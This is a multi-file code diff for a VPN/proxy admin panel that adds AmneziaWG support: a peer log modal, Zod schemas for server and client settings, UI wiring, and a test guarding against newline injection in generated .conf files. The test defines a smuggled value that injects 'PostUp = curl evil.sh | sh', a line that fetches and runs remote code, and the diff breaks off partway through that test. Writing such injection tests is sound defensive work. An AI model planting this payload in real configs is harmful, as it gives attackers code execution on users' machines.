+import './AmneziaWGLogModal.css';
+
+interface AmneziaWGLogModalProps {
+  open: boolean;
+  onClose: () => void;
+}
+
+const AUTO_UPDATE_INTERVAL = 5000;
+
+function shortTime(value?: number): string {
+  if (!value) return '';
+  const d = new Date(value);
+  if (isNaN(d.getTime())) return '';
+  const hh = String(d.getHours()).padStart(2, '0');
+  const mm = String(d.getMinutes()).padStart(2, '0');
+  const ss = String(d.getSeconds()).padStart(2, '0');
+  return `${hh}:${mm}:${ss}`;
+}
+
+export default function AmneziaWGLogModal({ open, onClose }: AmneziaWGLogModalProps) {
+  const { t } = useTranslation();
+  const { datepicker } = useDatepicker();
+  const { isMobile } = useMediaQuery();
+  const [rows, setRows] = useState('50');
+  const [filter, setFilter] = useState('');
+  const [autoUpdate, setAutoUpdate] = useState(false);
+  const [loading, setLoading] = useState(false);
+  const [logs, setLogs] = useState<Partial<AmneziaWGLogs>>({});
+
+  const peers = useMemo(() => logs.peers ?? [], [logs.peers]);
+  const events = useMemo(() => logs.events ?? [], [logs.events]);
+
+  const runRefresh = useCallback(async () => {
+    try {
+      const msg = await HttpUtil.post<AmneziaWGLogs>(`/panel/api/server/amneziawglogs/${rows}`, {
+        filter,
+      });
+      if (msg?.success) setLogs(msg.obj || {});
+      await PromiseUtil.sleep(300);
+    } finally {
+      setLoading(false);
+    }
+  }, [rows, filter]);
+
+  const refresh = useCallback(() => {
+    setLoading(true);
+    void runRefresh();
+  }, [runRefresh]);
+
+  const refreshRef = useRef(refresh);
+  useEffect(() => {
+    refreshRef.current = refresh;
+  });
+
+  // The spinner is raised during render so the fetch effect stays side-effect
+  // free until its response lands.
+  const refreshKey = open ? `${rows}|${filter}` : null;
+  const [loadingKey, setLoadingKey] = useState<string | null>(null);
+  if (refreshKey !== loadingKey) {
+    setLoadingKey(refreshKey);
+    if (refreshKey) setLoading(true);
+  }
+
+  useEffect(() => {
+    if (open) void runRefresh();
+  }, [open, rows, filter, runRefresh]);
+
+  useEffect(() => {
+    if (!open || !autoUpdate) return;
+    const id = setInterval(() => refreshRef.current(), AUTO_UPDATE_INTERVAL);
+    return () => clearInterval(id);
+  }, [open, autoUpdate]);
+
+  function fullDate(value?: number): string {
+    return value ? IntlUtil.formatDate(value, datepicker) : '';
+  }
+
+  function download() {
+    const peerLines = peers.map((p) => {
+      const at = p.handshake ? new Date(p.handshake).toISOString() : 'never';
+      return `${at} IFACE=${p.interface || ''} INBOUND=${p.tag || ''} EMAIL=${p.email || ''} ENDPOINT=${p.endpoint || '-'} ALLOWEDIPS=${p.allowedIPs || ''} UP=${p.up ?? 0} DOWN=${p.down ?? 0} ONLINE=${p.online ? 'yes' : 'no'}`;
+    });
+    FileManager.downloadTextFile([...peerLines, '', ...events].join('\n'), 'amneziawg.log');
+  }
+
+  return (
+    <Modal
+      open={open}
+      footer={null}
+      width={isMobile ? '100vw' : '80vw'}
+      style={isMobile ? { top: 0, paddingBottom: 0, maxWidth: '100vw' } : undefined}
+      className={isMobile ? 'xraylog-modal-mobile' : undefined}
+      onCancel={onClose}
+      title={
+        <>
+          {t('pages.index.amneziawgLogs')}
+          <SyncOutlined
+            spin={loading}
+            className="reload-icon"
+            role="button"
+            tabIndex={0}
+            aria-label={t('refresh')}
+            onClick={refresh}
+            onKeyDown={activateOnKey(refresh)}
+          />
+        </>
+      }
+    >
+      <Form layout="inline" className="log-toolbar">
+        <Form.Item>
+          <Select
+            value={rows}
+            size="small"
+            style={{ width: 70 }}
+            onChange={setRows}
+            options={[
+              { value: '20', label: '20' },
+              { value: '50', label: '50' },
+              { value: '100', label: '100' },
+              { value: '500', label: '500' },
+            ]}
+          />
+        </Form.Item>
+        <Form.Item label={t('filter')} className="filter-item">
+          <Input
+            value={filter}
+            size="small"
+            onChange={(e) => setFilter(e.target.value)}
+            onKeyUp={(e) => {
+              if (e.key === 'Enter') refresh();
+            }}
+          />
+        </Form.Item>
+        <Form.Item>
+          <Checkbox checked={autoUpdate} onChange={(e) => setAutoUpdate(e.target.checked)}>
+            {t('pages.index.autoUpdate')}
+          </Checkbox>
+        </Form.Item>
+        <Form.Item className="download-item">
+          <Button
+            type="primary"
+            onClick={download}
+            icon={<DownloadOutlined />}
+            aria-label={t('download')}
+          />
+        </Form.Item>
+      </Form>
+
+      <div className={`log-container ${isMobile ? 'log-container-mobile' : ''}`}>
+        {peers.length === 0 ? (
+          <div className="log-empty">
+            <Empty
+              image={Empty.PRESENTED_IMAGE_SIMPLE}
+              description={t('pages.index.amneziawgNoPeers')}
+            />
+          </div>
+        ) : isMobile ? (
+          peers.map((peer, idx) => (
+            <div key={idx} className="log-card">
+              <div className="log-card-head">
+                <span className="log-time" title={fullDate(peer.handshake)}>
+                  {shortTime(peer.handshake) || '—'}
+                </span>
+                <Tag color={peer.online ? 'green' : 'default'} className="log-event-tag">
+                  {peer.online ? t('online') : t('pages.index.amneziawgIdle')}
+                </Tag>
+              </div>
+              <div className="log-route">
+                <span className="log-addr">{peer.endpoint || '—'}</span>
+                <span className="log-arrow">→</span>
+                <span className="log-addr">{peer.allowedIPs}</span>
+              </div>
+              <div className="log-meta">
+                <span className="log-meta-pair">
+                  <span className="log-meta-key">iface</span>
+                  <span className="log-meta-val">{peer.interface}</span>
+                </span>
+                <span className="log-meta-pair">
+                  <span className="log-meta-key">inbound</span>
+                  <span className="log-meta-val">{peer.tag}</span>
+                </span>
+                {peer.email && (
+                  <span className="log-meta-pair">
+                    <span className="log-meta-key">email</span>
+                    <span className="log-meta-val">{peer.email}</span>
+                  </span>
+                )}
+                <span className="log-meta-pair">
+                  <span className="log-meta-key">↑↓</span>
+                  <span className="log-meta-val">
+                    {`${SizeFormatter.sizeFormat(peer.up ?? 0)} / ${SizeFormatter.sizeFormat(peer.down ?? 0)}`}
+                  </span>
+                </span>
+              </div>
+            </div>
+          ))
+        ) : (
+          <table className="xraylog-table">
+            <thead>
+              <tr>
+                <th>{t('pages.index.amneziawgHandshake')}</th>
+                <th>{t('pages.index.amneziawgInterface')}</th>
+                <th>{t('pages.index.amneziawgInbound')}</th>
+                <th>Email</th>
+                <th>{t('pages.index.amneziawgEndpoint')}</th>
+                <th>{t('pages.clients.amneziaWgAllowedIPs')}</th>
+                <th>↑ / ↓</th>
+              </tr>
+            </thead>
+            <tbody>
+              {peers.map((peer, idx) => (
+                <tr key={idx} className={peer.online ? undefined : 'log-row-offline'}>
+                  <td>
+                    <b>{fullDate(peer.handshake) || '—'}</b>
+                  </td>
+                  <td>{peer.interface}</td>
+                  <td>{peer.tag}</td>
+                  <td>{peer.email}</td>
+                  <td>{peer.endpoint || '—'}</td>
+                  <td>{peer.allowedIPs}</td>
+                  <td>{`${SizeFormatter.sizeFormat(peer.up ?? 0)} / ${SizeFormatter.sizeFormat(peer.down ?? 0)}`}</td>
+                </tr>
+              ))}
+            </tbody>
+          </table>
+        )}
+      </div>
+
+      <div className="awglog-events-title">{t('pages.index.amneziawgEvents')}</div>
+      <div className={`log-container ${isMobile ? 'log-container-mobile' : ''}`}>
+        {events.length === 0 ? (
+          <div className="log-empty">{t('pages.index.amneziawgNoEvents')}</div>
+        ) : (
+          events.map((line, idx) => (
+            <div key={idx} className="awglog-event-line">
+              {line}
+            </div>
+          ))
+        )}
+      </div>
+    </Modal>
+  );
+}

+ 6 - 0
frontend/src/pages/index/IndexPage.tsx

@@ -37,6 +37,7 @@ const BackupModal = lazy(() => import('./BackupModal'));
 const SystemHistoryModal = lazy(() => import('./SystemHistoryModal'));
 const SystemHistoryModal = lazy(() => import('./SystemHistoryModal'));
 const XrayMetricsModal = lazy(() => import('./XrayMetricsModal'));
 const XrayMetricsModal = lazy(() => import('./XrayMetricsModal'));
 const XrayLogModal = lazy(() => import('./XrayLogModal'));
 const XrayLogModal = lazy(() => import('./XrayLogModal'));
+const AmneziaWGLogModal = lazy(() => import('./AmneziaWGLogModal'));
 const VersionModal = lazy(() => import('./VersionModal'));
 const VersionModal = lazy(() => import('./VersionModal'));
 import './IndexPage.css';
 import './IndexPage.css';
 
 
@@ -67,6 +68,7 @@ export default function IndexPage() {
   const [sysHistoryOpen, setSysHistoryOpen] = useState(false);
   const [sysHistoryOpen, setSysHistoryOpen] = useState(false);
   const [xrayMetricsOpen, setXrayMetricsOpen] = useState(false);
   const [xrayMetricsOpen, setXrayMetricsOpen] = useState(false);
   const [xrayLogsOpen, setXrayLogsOpen] = useState(false);
   const [xrayLogsOpen, setXrayLogsOpen] = useState(false);
+  const [amneziawgLogsOpen, setAmneziawgLogsOpen] = useState(false);
   const [versionOpen, setVersionOpen] = useState(false);
   const [versionOpen, setVersionOpen] = useState(false);
   const [configTextOpen, setConfigTextOpen] = useState(false);
   const [configTextOpen, setConfigTextOpen] = useState(false);
   const [configText, setConfigText] = useState('');
   const [configText, setConfigText] = useState('');
@@ -202,6 +204,7 @@ export default function IndexPage() {
                     onRestartXray={restartXray}
                     onRestartXray={restartXray}
                     onOpenLogs={() => setLogsOpen(true)}
                     onOpenLogs={() => setLogsOpen(true)}
                     onOpenXrayLogs={() => setXrayLogsOpen(true)}
                     onOpenXrayLogs={() => setXrayLogsOpen(true)}
+                    onOpenAmneziaWGLogs={() => setAmneziawgLogsOpen(true)}
                     onOpenConfig={openConfig}
                     onOpenConfig={openConfig}
                     onOpenBackup={() => setBackupOpen(true)}
                     onOpenBackup={() => setBackupOpen(true)}
                     onOpenSystemHistory={() => setSysHistoryOpen(true)}
                     onOpenSystemHistory={() => setSysHistoryOpen(true)}
@@ -328,6 +331,9 @@ export default function IndexPage() {
         <LazyMount when={xrayLogsOpen}>
         <LazyMount when={xrayLogsOpen}>
           <XrayLogModal open={xrayLogsOpen} onClose={() => setXrayLogsOpen(false)} />
           <XrayLogModal open={xrayLogsOpen} onClose={() => setXrayLogsOpen(false)} />
         </LazyMount>
         </LazyMount>
+        <LazyMount when={amneziawgLogsOpen}>
+          <AmneziaWGLogModal open={amneziawgLogsOpen} onClose={() => setAmneziawgLogsOpen(false)} />
+        </LazyMount>
         <LazyMount when={versionOpen}>
         <LazyMount when={versionOpen}>
           <VersionModal
           <VersionModal
             open={versionOpen}
             open={versionOpen}

+ 13 - 0
frontend/src/pages/index/OverviewActionBar.tsx

@@ -3,6 +3,7 @@ import type { ReactNode } from 'react';
 import { useTranslation } from 'react-i18next';
 import { useTranslation } from 'react-i18next';
 import { Button, Tag, Tooltip } from 'antd';
 import { Button, Tag, Tooltip } from 'antd';
 import {
 import {
+  ApiOutlined,
   ArrowUpOutlined,
   ArrowUpOutlined,
   AreaChartOutlined,
   AreaChartOutlined,
   BarsOutlined,
   BarsOutlined,
@@ -28,6 +29,7 @@ interface OverviewActionBarProps {
   onRestartXray: () => void;
   onRestartXray: () => void;
   onOpenLogs: () => void;
   onOpenLogs: () => void;
   onOpenXrayLogs: () => void;
   onOpenXrayLogs: () => void;
+  onOpenAmneziaWGLogs: () => void;
   onOpenConfig: () => void;
   onOpenConfig: () => void;
   onOpenBackup: () => void;
   onOpenBackup: () => void;
   onOpenSystemHistory: () => void;
   onOpenSystemHistory: () => void;
@@ -61,6 +63,7 @@ export default function OverviewActionBar({
   onRestartXray,
   onRestartXray,
   onOpenLogs,
   onOpenLogs,
   onOpenXrayLogs,
   onOpenXrayLogs,
+  onOpenAmneziaWGLogs,
   onOpenConfig,
   onOpenConfig,
   onOpenBackup,
   onOpenBackup,
   onOpenSystemHistory,
   onOpenSystemHistory,
@@ -101,6 +104,16 @@ export default function OverviewActionBar({
             },
             },
           ]
           ]
         : []),
         : []),
+      ...(status.amneziawg.configured
+        ? [
+            {
+              key: 'amneziawgLogs',
+              icon: <ApiOutlined />,
+              text: t('pages.index.amneziawgLogs'),
+              onClick: onOpenAmneziaWGLogs,
+            },
+          ]
+        : []),
       {
       {
         key: 'config',
         key: 'config',
         icon: <ControlOutlined />,
         icon: <ControlOutlined />,

+ 15 - 1
frontend/src/pages/sub/SubPage.tsx

@@ -33,7 +33,11 @@ import {
 } from '@ant-design/icons';
 } from '@ant-design/icons';
 
 
 import { ClipboardManager, IntlUtil, LanguageManager } from '@/utils';
 import { ClipboardManager, IntlUtil, LanguageManager } from '@/utils';
-import { isPostQuantumLink, wireguardConfigFromLink } from '@/lib/xray/inbound-link';
+import {
+  amneziawgConfigFromLink,
+  isPostQuantumLink,
+  wireguardConfigFromLink,
+} from '@/lib/xray/inbound-link';
 import { LinkTags, parseLinkParts } from '@/lib/xray/link-label';
 import { LinkTags, parseLinkParts } from '@/lib/xray/link-label';
 import ConfigBlock from '@/components/clients/ConfigBlock';
 import ConfigBlock from '@/components/clients/ConfigBlock';
 import { setMessageInstance } from '@/utils/messageBus';
 import { setMessageInstance } from '@/utils/messageBus';
@@ -533,6 +537,7 @@ export default function SubPage() {
                         const canQr = !isPostQuantumLink(link);
                         const canQr = !isPostQuantumLink(link);
                         const isWireguardLink =
                         const isWireguardLink =
                           link.startsWith('wireguard://') || link.startsWith('wg://');
                           link.startsWith('wireguard://') || link.startsWith('wg://');
+                        const isAmneziawgLink = link.startsWith('vpn://');
                         return (
                         return (
                           <Fragment key={link}>
                           <Fragment key={link}>
                             <div className="sub-link-row">
                             <div className="sub-link-row">
@@ -590,6 +595,15 @@ export default function SubPage() {
                                 tagColor="cyan"
                                 tagColor="cyan"
                               />
                               />
                             )}
                             )}
+                            {isAmneziawgLink && (
+                              <ConfigBlock
+                                label={t('pages.clients.amneziaWgConfig')}
+                                text={amneziawgConfigFromLink(link)}
+                                fileName={`${rowTitle || 'peer'}.conf`}
+                                qrRemark={rowTitle}
+                                tagColor="purple"
+                              />
+                            )}
                           </Fragment>
                           </Fragment>
                         );
                         );
                       })}
                       })}

+ 1 - 1
frontend/src/schemas/api/inbound.ts

@@ -7,7 +7,7 @@ import { NetworkSettingsSchema, StreamExtrasSchema } from '@/schemas/protocols/s
 
 
 // Top-level inbound shape on the wire. Composes:
 // Top-level inbound shape on the wire. Composes:
 //   - Per-protocol settings via the InboundSettingsSchema discriminated
 //   - Per-protocol settings via the InboundSettingsSchema discriminated
-//     union (10 protocols, tagged-wrapper {protocol, settings}).
+//     union (11 protocols, tagged-wrapper {protocol, settings}).
 //   - StreamSettings as an intersection of the network DU (6 branches),
 //   - StreamSettings as an intersection of the network DU (6 branches),
 //     security DU (3 branches), and the orthogonal extras (finalmask,
 //     security DU (3 branches), and the orthogonal extras (finalmask,
 //     sockopt, externalProxy). Zod 4 supports DU intersection — each
 //     sockopt, externalProxy). Zod 4 supports DU intersection — each

+ 50 - 0
frontend/src/schemas/client.ts

@@ -52,6 +52,7 @@ export const ClientRecordSchema = z
     allowedIPs: z.string().optional(),
     allowedIPs: z.string().optional(),
     preSharedKey: z.string().optional(),
     preSharedKey: z.string().optional(),
     keepAlive: z.number().optional(),
     keepAlive: z.number().optional(),
+    forwardedPorts: z.string().optional(),
     secret: z.string().optional(),
     secret: z.string().optional(),
     adTag: z.string().optional(),
     adTag: z.string().optional(),
     createdAt: z.number().optional(),
     createdAt: z.number().optional(),
@@ -59,6 +60,47 @@ export const ClientRecordSchema = z
   })
   })
   .loose();
   .loose();
 
 
+// AmneziaWG's server block, used by the clients page to render a
+// downloadable per-client .conf without a second round trip. Unlike
+// WireGuard's flattened wgPublicKey/wgMtu/wgDns below, this stays a nested
+// object — AmneziaWG has many more fields (the obfuscation parameter set) and
+// buildAmneziaWGClientConfig (pages/clients/amneziawgConfig.ts) already
+// expects this exact nested shape. Mirrors the backend's
+// InboundOption.AwgServer (internal/web/service/inbound.go).
+export const AwgServerOptionSchema = z
+  .object({
+    publicKey: z.string().optional(),
+    mtu: z.number().optional(),
+    primaryDns: z.string().optional(),
+    secondaryDns: z.string().optional(),
+    jc: z.number().optional(),
+    jmin: z.number().optional(),
+    jmax: z.number().optional(),
+    s1: z.number().optional(),
+    s2: z.number().optional(),
+    s3: z.number().optional(),
+    s4: z.number().optional(),
+    h1: z.string().optional(),
+    h2: z.string().optional(),
+    h3: z.string().optional(),
+    h4: z.string().optional(),
+    i1: z.string().optional(),
+    i2: z.string().optional(),
+    i3: z.string().optional(),
+    i4: z.string().optional(),
+    i5: z.string().optional(),
+    headerProtectionKey: z.string().optional(),
+    contentPaddingAddition: z.string().optional(),
+    rekeyAfterTime: z.string().optional(),
+    rekeyTimeout: z.string().optional(),
+    rejectAfterTime: z.string().optional(),
+    keepaliveTimeout: z.string().optional(),
+    maxHandshakeAttempts: z.string().optional(),
+    randomTrailers: z.boolean().optional(),
+    disableCookies: z.boolean().optional(),
+  })
+  .loose();
+
 export const InboundOptionSchema = z
 export const InboundOptionSchema = z
   .object({
   .object({
     id: z.number(),
     id: z.number(),
@@ -71,6 +113,7 @@ export const InboundOptionSchema = z
     wgPublicKey: z.string().optional(),
     wgPublicKey: z.string().optional(),
     wgMtu: z.number().optional(),
     wgMtu: z.number().optional(),
     wgDns: z.string().optional(),
     wgDns: z.string().optional(),
+    awgServer: AwgServerOptionSchema.nullable().optional(),
     mtprotoDomain: z.string().optional(),
     mtprotoDomain: z.string().optional(),
     // Hosting node id; absent/null for this panel's own inbounds (#4997).
     // Hosting node id; absent/null for this panel's own inbounds (#4997).
     nodeId: z.number().nullable().optional(),
     nodeId: z.number().nullable().optional(),
@@ -137,10 +180,17 @@ export const ExternalLinkListSchema = z
   .nullable()
   .nullable()
   .transform((v) => v ?? []);
   .transform((v) => v ?? []);
 
 
+// tunnelAllowedIPs carries the real, per-inbound AllowedIPs value (keyed by
+// inbound id) for every WireGuard/AmneziaWG inbound this client is attached
+// to. ClientRecord's own allowedIPs is a single string and cannot represent
+// two different addresses when one identity holds both a WireGuard and an
+// AmneziaWG attachment at once -- this is what lets the edit form show each
+// protocol's real, distinct address instead of one ambiguous shared field.
 export const ClientHydrateSchema = z.object({
 export const ClientHydrateSchema = z.object({
   client: ClientRecordSchema,
   client: ClientRecordSchema,
   inboundIds: nullableNumberArray,
   inboundIds: nullableNumberArray,
   externalLinks: ExternalLinkListSchema.optional(),
   externalLinks: ExternalLinkListSchema.optional(),
+  tunnelAllowedIPs: z.record(z.number().int(), z.string()).optional(),
 });
 });
 
 
 export const BulkAdjustResultSchema = z.object({
 export const BulkAdjustResultSchema = z.object({

+ 2 - 0
frontend/src/schemas/primitives/protocol.ts

@@ -12,6 +12,7 @@ export const ProtocolSchema = z.enum([
   'tunnel',
   'tunnel',
   'tun',
   'tun',
   'mtproto',
   'mtproto',
+  'amneziawg',
 ]);
 ]);
 export type Protocol = z.infer<typeof ProtocolSchema>;
 export type Protocol = z.infer<typeof ProtocolSchema>;
 
 
@@ -33,4 +34,5 @@ export const Protocols = Object.freeze({
   TUNNEL: 'tunnel',
   TUNNEL: 'tunnel',
   TUN: 'tun',
   TUN: 'tun',
   MTPROTO: 'mtproto',
   MTPROTO: 'mtproto',
+  AMNEZIAWG: 'amneziawg',
 });
 });

+ 101 - 0
frontend/src/schemas/protocols/inbound/amneziawg.ts

@@ -0,0 +1,101 @@
+import { z } from 'zod';
+
+// AntD InputNumber emits null (not undefined) when the user clears it, and
+// the form store hands that null straight to safeParse on submit — a bare
+// .optional() would reject it and block the save.
+const optionalClearedInt = (schema: z.ZodNumber) =>
+  z.preprocess((v) => (v == null ? undefined : v), schema.optional());
+
+// Same null-absorbing preprocess for fields that keep a schema default:
+// clearing the InputNumber refills the default instead of blocking the save.
+const clearedToDefault = <T extends z.ZodTypeAny>(schema: T) =>
+  z.preprocess((v) => (v == null ? undefined : v), schema);
+
+// An AmneziaWG client (multi-client model). Same key/address fields as
+// WireguardClientSchema — the panel's generic ClientRecord already has those
+// exact keys (privateKey/publicKey/preSharedKey/allowedIPs/keepAlive), so
+// bulk operations, the QR modal and subscriptions all work unmodified — plus
+// one AmneziaWG-only addition, forwardedPorts (WireGuard's Xray-native
+// inbound has no host-level iptables layer to hang per-client DNAT off of).
+// Keys are optional on the wire — the backend generates them when absent.
+export const AmneziawgClientSchema = z.object({
+  privateKey: z.string().optional(),
+  publicKey: z.string().optional(),
+  preSharedKey: z.string().optional(),
+  allowedIPs: z.array(z.string()).default([]),
+  keepAlive: optionalClearedInt(z.number().int().min(0)),
+  forwardedPorts: z.string().default(''),
+  email: z.string().min(1),
+  limitIp: z.number().int().min(0).default(0),
+  totalGB: z.number().int().min(0).default(0),
+  expiryTime: z.number().int().default(0),
+  enable: z.boolean().default(true),
+  tgId: z
+    .union([z.number(), z.string()])
+    .transform((v) => Number(v) || 0)
+    .default(0),
+  subId: z.string().default(''),
+  comment: z.string().default(''),
+  reset: z.number().int().min(0).default(0),
+  created_at: z.number().int().optional(),
+  updated_at: z.number().int().optional(),
+});
+export type AmneziawgClient = z.infer<typeof AmneziawgClientSchema>;
+
+// Server-wide AmneziaWG 3.1 obfuscation parameters and tunnel identity,
+// mirroring internal/amneziawg.ServerSettings on the Go side exactly (same
+// field names) — the listen port is not duplicated here, it's the inbound's
+// own port like every other protocol. H1-H4 blank falls back to the classic
+// 1/2/3/4 magic header on save; blank optional fields omit their feature
+// from the rendered config.
+export const AmneziawgServerSchema = z.object({
+  privateKey: z.string().optional(),
+  publicKey: z.string().optional(),
+  subnetIp: z.string().default('10.8.1.0'),
+  subnetCidr: clearedToDefault(z.number().int().min(1).max(32).default(24)),
+  mtu: optionalClearedInt(z.number().int().min(1)),
+  primaryDns: z.string().default('8.8.8.8'),
+  secondaryDns: z.string().default('8.8.4.4'),
+  externalInterface: z.string().default(''),
+  ipv6Enabled: z.boolean().default(false),
+  ipv6Subnet: z.string().default(''),
+  ipv6ExternalInterface: z.string().default(''),
+  // routeThroughXray is vestigial on the Go side (see ServerSettings' own
+  // doc comment) -- the embedded relay is always on, this field is read by
+  // nothing. Kept here anyway, with no corresponding form control, purely so
+  // z.object's default unknown-key stripping doesn't silently drop it from
+  // an existing stored settings blob on the next save.
+  routeThroughXray: z.boolean().default(false).optional(),
+  jc: clearedToDefault(z.number().int().min(0).default(5)),
+  jmin: clearedToDefault(z.number().int().min(0).default(10)),
+  jmax: clearedToDefault(z.number().int().min(0).default(50)),
+  s1: clearedToDefault(z.number().int().min(0).default(30)),
+  s2: clearedToDefault(z.number().int().min(0).default(45)),
+  s3: clearedToDefault(z.number().int().min(0).max(64).default(10)),
+  s4: clearedToDefault(z.number().int().min(0).max(32).default(5)),
+  h1: z.string().default(''),
+  h2: z.string().default(''),
+  h3: z.string().default(''),
+  h4: z.string().default(''),
+  i1: z.string().default(''),
+  i2: z.string().default(''),
+  i3: z.string().default(''),
+  i4: z.string().default(''),
+  i5: z.string().default(''),
+  headerProtectionKey: z.string().default(''),
+  contentPaddingAddition: z.string().default(''),
+  rekeyAfterTime: z.string().default(''),
+  rekeyTimeout: z.string().default(''),
+  rejectAfterTime: z.string().default(''),
+  keepaliveTimeout: z.string().default(''),
+  maxHandshakeAttempts: z.string().default(''),
+  randomTrailers: z.boolean().default(false),
+  disableCookies: z.boolean().default(false),
+});
+export type AmneziawgServer = z.infer<typeof AmneziawgServerSchema>;
+
+export const AmneziawgInboundSettingsSchema = z.object({
+  server: AmneziawgServerSchema,
+  clients: z.array(AmneziawgClientSchema).default([]),
+});
+export type AmneziawgInboundSettings = z.infer<typeof AmneziawgInboundSettingsSchema>;

+ 3 - 0
frontend/src/schemas/protocols/inbound/index.ts

@@ -1,5 +1,6 @@
 import { z } from 'zod';
 import { z } from 'zod';
 
 
+import { AmneziawgInboundSettingsSchema } from './amneziawg';
 import { HttpInboundSettingsSchema } from './http';
 import { HttpInboundSettingsSchema } from './http';
 import { HysteriaInboundSettingsSchema } from './hysteria';
 import { HysteriaInboundSettingsSchema } from './hysteria';
 import { MixedInboundSettingsSchema } from './mixed';
 import { MixedInboundSettingsSchema } from './mixed';
@@ -12,6 +13,7 @@ import { VlessInboundSettingsSchema } from './vless';
 import { VmessInboundSettingsSchema } from './vmess';
 import { VmessInboundSettingsSchema } from './vmess';
 import { WireguardInboundSettingsSchema } from './wireguard';
 import { WireguardInboundSettingsSchema } from './wireguard';
 
 
+export * from './amneziawg';
 export * from './http';
 export * from './http';
 export * from './hysteria';
 export * from './hysteria';
 export * from './mixed';
 export * from './mixed';
@@ -41,5 +43,6 @@ export const InboundSettingsSchema = z.discriminatedUnion('protocol', [
   z.object({ protocol: z.literal('tunnel'), settings: TunnelInboundSettingsSchema }),
   z.object({ protocol: z.literal('tunnel'), settings: TunnelInboundSettingsSchema }),
   z.object({ protocol: z.literal('tun'), settings: TunInboundSettingsSchema }),
   z.object({ protocol: z.literal('tun'), settings: TunInboundSettingsSchema }),
   z.object({ protocol: z.literal('mtproto'), settings: MtprotoInboundSettingsSchema }),
   z.object({ protocol: z.literal('mtproto'), settings: MtprotoInboundSettingsSchema }),
+  z.object({ protocol: z.literal('amneziawg'), settings: AmneziawgInboundSettingsSchema }),
 ]);
 ]);
 export type InboundSettings = z.infer<typeof InboundSettingsSchema>;
 export type InboundSettings = z.infer<typeof InboundSettingsSchema>;

+ 7 - 0
frontend/src/schemas/protocols/inbound/wireguard.ts

@@ -69,5 +69,12 @@ export const WireguardInboundSettingsSchema = z.object({
   clients: z.array(WireguardClientSchema).default([]),
   clients: z.array(WireguardClientSchema).default([]),
   noKernelTun: z.boolean().default(false),
   noKernelTun: z.boolean().default(false),
   domainStrategy: WireguardDomainStrategySchema.optional(),
   domainStrategy: WireguardDomainStrategySchema.optional(),
+  // Admin-configurable base subnet new clients are auto-allocated from —
+  // mirrors AmneziaWG's settings.server.subnetIp/subnetCidr. Optional and
+  // left blank by default: an inbound that never sets this keeps the
+  // pre-existing behavior (infer from existing clients' own addresses, else
+  // fall back to 10.0.0.0/24 server-side).
+  subnetIp: z.string().default(''),
+  subnetCidr: optionalClearedInt(z.number().int().min(1).max(32)),
 });
 });
 export type WireguardInboundSettings = z.infer<typeof WireguardInboundSettingsSchema>;
 export type WireguardInboundSettings = z.infer<typeof WireguardInboundSettingsSchema>;

+ 2 - 0
frontend/src/test/__snapshots__/inbound-defaults.test.ts.snap

@@ -54,6 +54,8 @@ exports[`createDefault*InboundSettings factories > wireguard 1`] = `
   "noKernelTun": false,
   "noKernelTun": false,
   "peers": [],
   "peers": [],
   "secretKey": "QGVlb2dXc1ZTWGw0ZXBzZndsWmtMaUM5MUlNYjBHWFdYbz0=",
   "secretKey": "QGVlb2dXc1ZTWGw0ZXBzZndsWmtMaUM5MUlNYjBHWFdYbz0=",
+  "subnetCidr": 24,
+  "subnetIp": "10.0.0.0",
 }
 }
 `;
 `;
 
 

+ 1 - 0
frontend/src/test/__snapshots__/inbound-full.test.ts.snap

@@ -622,6 +622,7 @@ exports[`InboundSchema (full) fixtures > parses wireguard-server byte-stably 1`]
       },
       },
     ],
     ],
     "secretKey": "iJ2cBkrSGqRwIfYIDIxk7hr5RXfdR93MfJUL7yqkkH8=",
     "secretKey": "iJ2cBkrSGqRwIfYIDIxk7hr5RXfdR93MfJUL7yqkkH8=",
+    "subnetIp": "",
   },
   },
   "shareAddr": "",
   "shareAddr": "",
   "shareAddrStrategy": "node",
   "shareAddrStrategy": "node",

+ 1 - 0
frontend/src/test/__snapshots__/protocols.test.ts.snap

@@ -248,6 +248,7 @@ exports[`InboundSettingsSchema fixtures > parses wireguard-basic byte-stably 1`]
       },
       },
     ],
     ],
     "secretKey": "QGVlb2dXc1ZTWGw0ZXBzZndsWmtMaUM5MUlNYjBHWFdYbz0=",
     "secretKey": "QGVlb2dXc1ZTWGw0ZXBzZndsWmtMaUM5MUlNYjBHWFdYbz0=",
+    "subnetIp": "",
   },
   },
 }
 }
 `;
 `;

+ 92 - 0
frontend/src/test/amneziawg-conf-injection.test.ts

@@ -0,0 +1,92 @@
+import { describe, expect, it } from 'vitest';
+
+import { genAmneziaWGConfig } from '@/lib/xray/inbound-link';
+import { buildAmneziaWGClientConfig } from '@/pages/clients/amneziawgConfig';
+import type { AmneziawgInboundSettings } from '@/schemas/protocols/inbound/amneziawg';
+import type { ClientRecord, InboundOption } from '@/hooks/useClients';
+
+// A newline in a field that lands unescaped in [Interface] would inject a
+// config line (e.g. a rogue PostUp); every emitter must refuse to render it.
+const INJECTED = 'x\nPostUp = curl evil.sh | sh';
+
+function settingsWith(server: Record<string, unknown>, client: Record<string, unknown>) {
+  return {
+    server: { publicKey: 'serverPubKey==', jc: 4, jmin: 40, jmax: 100, s1: 30, s2: 90, ...server },
+    clients: [
+      { email: 'peer-1', privateKey: 'clientPrivKey==', allowedIPs: ['10.8.1.2/32'], ...client },
+    ],
+  } as unknown as AmneziawgInboundSettings;
+}
+
+describe('AmneziaWG .conf newline-injection guard', () => {
+  it('genAmneziaWGConfig refuses injected fields and renders clean ones', () => {
+    const base = { address: 'awg.example.test', port: 51820, peerIndex: 0 };
+    expect(genAmneziaWGConfig({ settings: settingsWith({}, {}), remark: 'ok', ...base })).toContain(
+      'PrivateKey = clientPrivKey==',
+    );
+    expect(
+      genAmneziaWGConfig({
+        settings: settingsWith({}, { privateKey: INJECTED }),
+        remark: 'ok',
+        ...base,
+      }),
+    ).toBe('');
+    expect(
+      genAmneziaWGConfig({
+        settings: settingsWith({ primaryDns: INJECTED }, {}),
+        remark: 'ok',
+        ...base,
+      }),
+    ).toBe('');
+    expect(
+      genAmneziaWGConfig({
+        settings: settingsWith({ secondaryDns: INJECTED }, {}),
+        remark: 'ok',
+        ...base,
+      }),
+    ).toBe('');
+    expect(genAmneziaWGConfig({ settings: settingsWith({}, {}), remark: INJECTED, ...base })).toBe(
+      '',
+    );
+  });
+
+  it('buildAmneziaWGClientConfig refuses injected fields', () => {
+    const inbound = (server: Record<string, unknown>) =>
+      ({
+        id: 1,
+        tag: 'awg-1',
+        remark: 'awg',
+        port: 51820,
+        protocol: 'amneziawg',
+        awgServer: {
+          publicKey: 'serverPubKey==',
+          jc: 4,
+          jmin: 40,
